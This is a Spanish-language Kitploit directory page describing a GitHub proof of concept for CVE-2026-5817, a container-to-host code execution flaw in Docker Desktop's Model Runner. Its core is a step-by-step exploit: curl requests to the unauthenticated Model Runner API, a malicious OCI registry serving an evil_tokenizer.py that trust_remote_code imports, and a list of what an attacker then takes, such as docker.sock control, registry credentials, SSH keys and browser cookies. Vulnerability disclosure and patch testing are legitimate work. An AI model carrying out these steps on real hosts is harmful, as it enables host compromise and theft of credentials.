Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-5817-PoC — Docker Model Runner RCE / escape de contenedor a host: una vulnerabilidad crítica que permite la ejecución de código de contenedor a host en el backend de inferencia MLX / SGLANG / VLLM de Docker Model Runner. | Kitploit
Herramientas/GitHubGitHub/gouldnicholas/cve-2026-5817-poc
Seguridad de ContenedoresGeneración de PayloadsAnálisis de VulnerabilidadesExplotaciónSeguridad de Cadena de SuministroEscape de ContenedoresSeguridad de IA
GitHub
Compartir
gouldnicholas/cve-2026-5817-poc

CVE-2026-5817-PoC

Docker Model Runner RCE / escape de contenedor a host: una vulnerabilidad crítica que permite la ejecución de código de contenedor a host en el backend de inferencia MLX / SGLANG / VLLM de Docker Model Runner.

Ver Repositorio
42hace 6 mesesAún no revisado

CVE-2026-5817: RCE / Escape de contenedor a host en Docker Model Runner

Cualquier contenedor en un host de Docker Desktop (4.40.0 a 4.67.x) puede ejecutar código en el host con dos peticiones HTTP. Sin montaje de socket, sin --privileged, sin capabilities.

Cómo funciona

Cualquier contenedor puede alcanzar Model Runner en model-runner.docker.internal sin autenticación. Descarga modelos de cualquier registro OCI al que lo apuntes y los almacena sin verificar los digests. Los backends de Python (vLLM, MLX, SGLang) cargan el modelo con trust_remote_code=True (o en el caso de MLX ni siquiera reconoce trust remote code en su entrada de configuración), lo que importa cualquier archivo .py que el modelo haga referencia en tokenizer_config.json. Ese .py se ejecuta como el usuario de escritorio.

Escenario de ataque

Posición inicial: el atacante tiene ejecución de código dentro de cualquier contenedor en el host. Imagen base hostil, instalación maliciosa de npm/pip en un espacio de trabajo de desarrollo, un runner de CI que recoge código controlado por el atacante, etc. Sin montaje del socket de Docker, sin --privileged, sin capabilities adicionales.

  1. Sondear Model Runner.

    curl -sf http://model-runner.docker.internal/api/tags
    

    HTTP 200 significa que Model Runner está activo y es alcanzable desde este contenedor. No se necesita autenticación ni cabecera Origin.

  2. Levantar un registro OCI malicioso. Cualquier servidor HTTP que hable la especificación de distribución OCI sirve. El registro debe ser alcanzable desde el host (Model Runner se ejecuta en el host, no en el contenedor). Puedes alojarlo en Internet público o ejecutarlo localmente y publicar un puerto (docker-compose.yml hace esto último para este PoC). Sirve un modelo Llama válido mínimo cuyo tokenizer_config.json tiene un auto_map que apunta a evil_tokenizer.py. evil_tokenizer.py es el payload del host. Consulta rce_registry.py.

  3. Hacer que Model Runner descargue desde tu registro.

    curl -X POST http://model-runner.docker.internal/api/pull \
         -H 'Content-Type: application/json' \
         -d '{"name": "your.registry/evil/model:latest"}'
    

    Model Runner descarga el manifiesto y luego cada blob, y los escribe en su almacén en disco. No se recalcula ni compara ningún digest, ni se verifica la firma. El modelo malicioso queda instalado.

  4. Disparar la inferencia para que el modelo se cargue.

    curl -X POST http://model-runner.docker.internal/engines/v1/chat/completions \
         -H 'Content-Type: application/json' \
         -d '{"model":"your.registry/evil/model:latest","messages":[{"role":"user","content":"hi"}]}'
    

    Model Runner elige un backend de Python (vLLM, MLX o SGLang) y lo lanza con --model <bundle_dir> apuntando al modelo almacenado. El backend llama a AutoTokenizer.from_pretrained(bundle_dir, trust_remote_code=True). Transformers lee tokenizer_config.json, ve el auto_map e importa evil_tokenizer.py desde el directorio del bundle. El código a nivel de módulo se ejecuta en el momento de la importación.

  5. El payload se ejecuta en el host. Se ejecuta como el usuario de Docker Desktop, fuera de cualquier contenedor, con acceso completo al sistema de archivos y a la red del usuario. La inferencia en sí suele fallar (el modelo es demasiado pequeño para ejecutarse realmente), pero eso no importa: la importación ocurrió primero.

  6. Qué consigue el atacante con esto.

    • /var/run/docker.sock es alcanzable. Control del daemon: crear contenedores privilegiados, montar el sistema de archivos del host en uno de ellos, ejecutar comandos en otros contenedores, etc.
    • ~/.docker/config.json contiene las credenciales de cada registro en el que el usuario ha iniciado sesión. Pivote en la cadena de suministro: subir imágenes maliciosas a los registros.
    • Claves SSH, credenciales de la nube, cookies del navegador, árboles de código fuente, cualquier cosa que el usuario pueda leer.
    • A través del daemon, todos los demás contenedores en ejecución en el host.

Entrada del payload

reemplaza las líneas rce_registry.py:45-105 con un payload arbitrario.

Requisitos

  • Docker Desktop >= 4.40.0 y < 4.68.0 (Model Runner se incluyó en 4.40.0, el error se corrigió en 4.68.0), con Model Runner habilitado
  • Un backend de Python instalado (vllm-metal, vLLM, MLX o SGLang)
  • Python 3 en el host

Ejecución

./run_poc.sh check
./run_poc.sh full
./run_poc.sh test     # static analysis only, no Model Runner needed
./run_poc.sh clean

La prueba queda en /tmp/poc_rce_proof.

Archivos

  • rce_registry.py - registro OCI falso, sirve un modelo Llama mínimo más evil_tokenizer.py
  • test_claims.py - comprueba cada afirmación contra el código fuente y el sistema en ejecución
  • run_poc.sh - script envoltorio
  • docker-compose.yml - registro + contenedor atacante sin privilegios
  • Dockerfile.registry, Dockerfile.attacker - imágenes

CVEs relacionados

  • CVE-2026-5843 PoC (https://github.com/davidrxchester/CVE-2026-5843)
  • CVE-2026-7669 PoC (https://github.com/gouldnicholas/CVE-2026-7669-PoC)
Descargar herramienta

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 El kit de herramientas OSINT definitivo: grafo de investigación, puntuación de confianza, familias de alias, mapa, línea de tiempo e informes. 49 módulos, más de 400 sitios, sin necesidad de claves API.

    891
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # Aplicación de Ejecución con un Solo Toque GhostLock (CVE-2026-43499)

    547
  • 3

    ARTEX

    baarai/artex

    Plataforma de pruebas de penetración autónoma multiagente basada en LLM con agentes planificadores/trabajadores, grafos de activos y de exploración, registro de tráfico MITM y reevaluación de vulnerabilidades.

    369
  • 4

    redforge

    cybersecurity91/redforge

    Kit de herramientas de red team del lado del navegador con 102 herramientas offline para reconocimiento, generación de payloads, ataques de credenciales, criptografía, codificación y elaboración de informes de compromiso.

    366
  • 5

    looking-glass

    anonghosty/looking-glass

    Plataforma CSIRT que ingiere informes de Shadowserver en MongoDB y los reproduce como mapas interactivos, análisis, hallazgos, avisos y paneles ejecutivos.

    309
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    El sistema de acción para la ciberseguridad nativa de IA—donde la intención se convierte en ejecución gobernada, la evidencia se convierte en memoria operativa y cada operación mejora la siguiente.

    282

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →